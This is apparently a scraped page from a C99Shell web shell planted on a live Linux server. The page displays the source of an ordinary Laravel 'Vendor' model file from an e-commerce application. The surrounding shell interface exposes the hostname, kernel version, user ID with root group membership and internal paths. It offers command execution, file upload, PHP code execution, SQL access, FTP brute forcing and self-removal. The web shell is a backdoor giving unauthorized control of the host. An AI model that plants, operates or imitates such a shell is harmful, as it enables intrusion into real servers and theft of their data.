!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/app/Models/   drwxr-xr-x
Free 27.41 GB of 117.98 GB (23.23%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Vendor.php (10.33 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * @package Vendor Model
 * @author TechVillage <support@techvill.org>
 * @contributor Sakawat Hossain Rony <[sakawat.techvill@gmail.com]>
 * @contributor Al Mamun <[almamun.techvill@gmail.com]>
 * @created 17-08-2021
 * @modified 29-09-2021
 */

namespace App\Models;

use 
App\Models\Model;
use 
App\Services\Mail\sellerStatusMailService;
use 
App\Traits\ModelTraits\hasFiles;
use 
App\Traits\ModelTraits\Metable;
use 
Illuminate\Database\Eloquent\SoftDeletes;
use 
Illuminate\Support\Facades\DB;
use 
Modules\Shop\Http\Models\Shop;

class 
Vendor extends Model
{
    use 
hasFilesMetableSoftDeletes;

    protected 
$guarded = [];

    
/**
     * The table associated with the model.
     *
     * @var string
     */
    
protected $table 'vendors';

    protected 
$metaTable 'vendors_meta';

    
/**
     * The "booted" method of the model.
     *
     * @return void
     */
    
protected static function booted()
    {
        static::
updated(function ($vendor) {
            if (
$vendor->isDirty('status') && $vendor->status != $vendor->getOriginal('status')) {
                (new 
sellerStatusMailService)->send($vendor);
            }
        });
    }

    
/**
     * Relation with AttributeGroup model
     *
     * @return \Illuminate\Database\Eloquent\Relations\HasMany
     */
    
public function attributeGroups()
    {
        return 
$this->hasMany('App\Models\AttributeGroup''vendor_id''id');
    }

    
/**
     * Relation with Brand model
     *
     * @return \Illuminate\Database\Eloquent\Relations\HasMany
     */
    
public function brands()
    {
        return 
$this->hasMany('App\Models\Brand''vendor_id''id');
    }

    
/**
     * Relation with FlashSale model
     *
     * @return \Illuminate\Database\Eloquent\Relations\HasMany
     */
    
public function flashSales()
    {
        return 
$this->hasMany('App\Models\FlashSale''vendor_id''id');
    }

    
/**
     * Relation with Product model
     *
     * @return \Illuminate\Database\Eloquent\Relations\HasMany
     */
    
public function products()
    {
        return 
$this->hasMany('App\Models\Product''vendor_id''id');
    }

    
/**
     * Relation with OptionGroup model
     *
     * @return \Illuminate\Database\Eloquent\Relations\HasMany
     */
    
public function optionGroups()
    {
        return 
$this->hasMany('App\Models\OptionGroup''vendor_id''id');
    }

    
/**
     * Relation with StockManagement model
     *
     * @return \Illuminate\Database\Eloquent\Relations\HasMany
     */
    
public function stockManagements()
    {
        return 
$this->hasMany('App\Models\StockManagement''vendor_id''id');
    }

    
/**
     * Relation with VendorUser model
     *
     * @return \Illuminate\Database\Eloquent\Relations\HasMany
     */
    
public function users()
    {
        return 
$this->hasMany('App\Models\VendorUser''vendor_id''id');
    }

    
/**
     * @return \Illuminate\Database\Eloquent\Relations\HasOne
     */
    
public function avatarFile()
    {
        return 
$this->hasOne('App\Models\File''object_id')->where('object_type''VENDOR');
    }

    
/**
     * Relation with coupon model
     *
     * @return \Illuminate\Database\Eloquent\Relations\HasMany
     */
    
public function coupons()
    {
        return 
$this->hasMany('Modules\Coupon\Http\Models\Coupon''vendor_id''id');
    }

    
/**
     * Relation with shop model
     *
     * @return \Illuminate\Database\Eloquent\Relations\HasMany
     */
    
public function shops()
    {
        return 
$this->hasMany('Modules\Shop\Http\Models\Shop''vendor_id''id');
    }

    
/**
     * Relation with shop model
     *
     * @return \Illuminate\Database\Eloquent\Relations\HasOne
     */
    
public function shop()
    {
        return 
$this->hasOne('Modules\Shop\Http\Models\Shop''vendor_id''id')->latestOfMany();
    }

    
/**
     * Relation with Transaction model
     *
     * @return \Illuminate\Database\Eloquent\Relations\HasMany
     */
    
public function transactions()
    {
        return 
$this->hasMany(Transaction::class);
    }

    
/**
     * Relation with user model
     *
     * @return \Illuminate\Database\Eloquent\Relations\BelongsToMany
     */
    
public function userList()
    {
        return 
$this->belongsToMany(User::class, 'vendor_users');
    }

    
/**
     * Store
     *
     * @param array $data
     * @return int|null
     */
    
public function store($data = [])
    {
        
$vendor parent::create($data['vendorData']);

        if (isset(
$data['vendorMetaData']) && !empty($data['vendorMetaData'])) {
            
$vendor->setMeta($data['vendorMetaData']);
            
$vendor->save();
            
$arr = ['vendor_logo''cover_photo'];

            foreach (
$data['vendorMetaData'] as $key => $value) {

                if (!
in_array($key$arr)) {
                    continue;
                }

                
request()->file_id = [$value];
                
$vendorMeta $vendor->metas()->where('key'$key)->first();

                
$vendorMeta->updateFiles(['isUploaded' => false'isOriginalNameRequired' => true'thumbnail' => true]);
            }
        }

        
self::forgetCache();

        return 
$vendor->id;
    }

    
/**
     * Update Vendor
     * @param array $data
     * @param null $id
     * @return bool
     */
    
public function updateVendor($data = [], $id null)
    {
        
$vendor Vendor::where('id'$id)->first();

        if (!
$vendor) {
            return 
false;
        }

        
$vendor->update($data['vendorData']);
        
$vendor Vendor::where('id'$id)->first();
        
$vendor->setMeta($data['vendorMetaData']);
        
$vendor->save();
        
$arr = ['vendor_logo''cover_photo'];

        foreach (
$data['vendorMetaData'] as $key => $value) {
            if (!
in_array($key$arr)) {
                continue;
            }

            
request()->file_id = [$value];
            
$vendor Vendor::where('id'$id)->first()->metas()->where('key'$key)->first();
            
$vendor->updateFiles(['isUploaded' => false'isOriginalNameRequired' => true'thumbnail' => true]);
        }

        
self::forgetCache(['vendors''categories''brands']);

        return 
true;
    }

    
/**
     * Delete
     *
     * @param int $id
     * @return array
     */
    
public function remove($id null)
    {
        
$data   = ['status' => 'fail''message' => __('Something went wrong, please try again.')];
        
$record parent::find($id);

        if (!empty(
$record)) {
            
$record->deleteFiles(['thumbnail' => true]);
            
$record->delete();
            
self::forgetCache(['vendors''brands''attribute_groups''attributes''attribute_values']);
            
$data['status']  = 'success';
            
$data['message'] = __('The :x has been successfully deleted.', ['x' => __('Vendor')]);
        }

        return 
$data;
    }

    
/**
     * shop id to vendor id
     *
     * @return int $id
     */
    
public static function shopToVendor($id)
    {
        return 
Shop::where('id'$id)->first()->vendor_id ?? null;
    }

    
/**
     * find shop rating and review count
     *
     * @return object
     */
    
public function shopReview()
    {
        
$productReview $this->hasManyThrough(Review::class, Product::class)->where('reviews.status''Active');
        return (object) [
'count' => $productReview->count(), 'rating' => $productReview->avg('rating')];
    }

    
/**
     * Get all of the review for the vendor.
     *
     * @return \Illuminate\Database\Eloquent\Relations\HasManyThrough
     */
    
public function reviews()
    {
        return 
$this->hasManyThrough(Review::class, Product::class);
    }

    
/**
     * Top seller
     *
     * @return mixed
     */
    
public static function topSeller()
    {
        
$vendors OrderDetail::select(DB::raw('count("vendor_id") as total_vendor_id, vendor_id'))->groupBy('vendor_id')->orderBy('total_vendor_id''desc')->take(20)->get();
        return 
$vendors;
    }


    
/**
     * Get the vendor cover photo.
     *
     * @return \Illuminate\Database\Eloquent\Casts\Attribute
     */
    
public function getCoverAttribute()
    {
        return 
$this->metas()->where('key''cover_photo')->first();
    }

    
/**
     * Get the vendor logo.
     *
     * @return \Illuminate\Database\Eloquent\Casts\Attribute
     */
    
public function getLogoAttribute()
    {
        return 
$this->metas()->where('key''vendor_logo')->first();
    }

    
/**
     * calculate ship on time
     *
     * @param $vendorId
     * @return float|int
     */
    
public function onTimeShipment()
    {
        
$onTimeProducts OrderDetail::where('vendor_id'$this->id)->where('is_delivery'1);

        if (!
$onTimeProducts->exists()) {
            return 
100;
        } else {
            
$totalVendorProducts $onTimeProducts->count();
            
$onTimeProducts $onTimeProducts->where('is_on_time'1)->count();

            if (
$totalVendorProducts 0) {
                return 
round(($onTimeProducts 100) / $totalVendorProducts);
            }
            
            return 
100;
        }
    }

    
/**
     * calculate order cancelation in percent
     *
     * @return float|int
     */
    
public function orderCancel()
    {
        
$query OrderDetail::select('order_id''order_status_id')->where('vendor_id'$this->id)->get();

        if (!
$query) {
            return 
0;
        }

        
$orderStatus =  OrderStatus::whereSlug('cancelled')->first();
        
$totalVendorOrder $query->groupBy('order_id')->count();
        
$keep $query->where('order_status_id''!='$orderStatus->id)->groupBy('order_id')->count();
        
$totalCancelOrder $totalVendorOrder $keep;

        if (
$totalVendorOrder 0) {
            return 
round(($totalCancelOrder $totalVendorOrder) * 100);
        }

        return 
0;
    }

    
/**
     * check vendor exist or not
     *
     * @param $vendorId
     * @return bool
     */
    
public static function isVendorExist($vendorId null)
    {

        
$vendor parent::find($vendorId);
        if (!empty(
$vendor)) {
            return 
true;
        }
        return 
false;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0047 ]--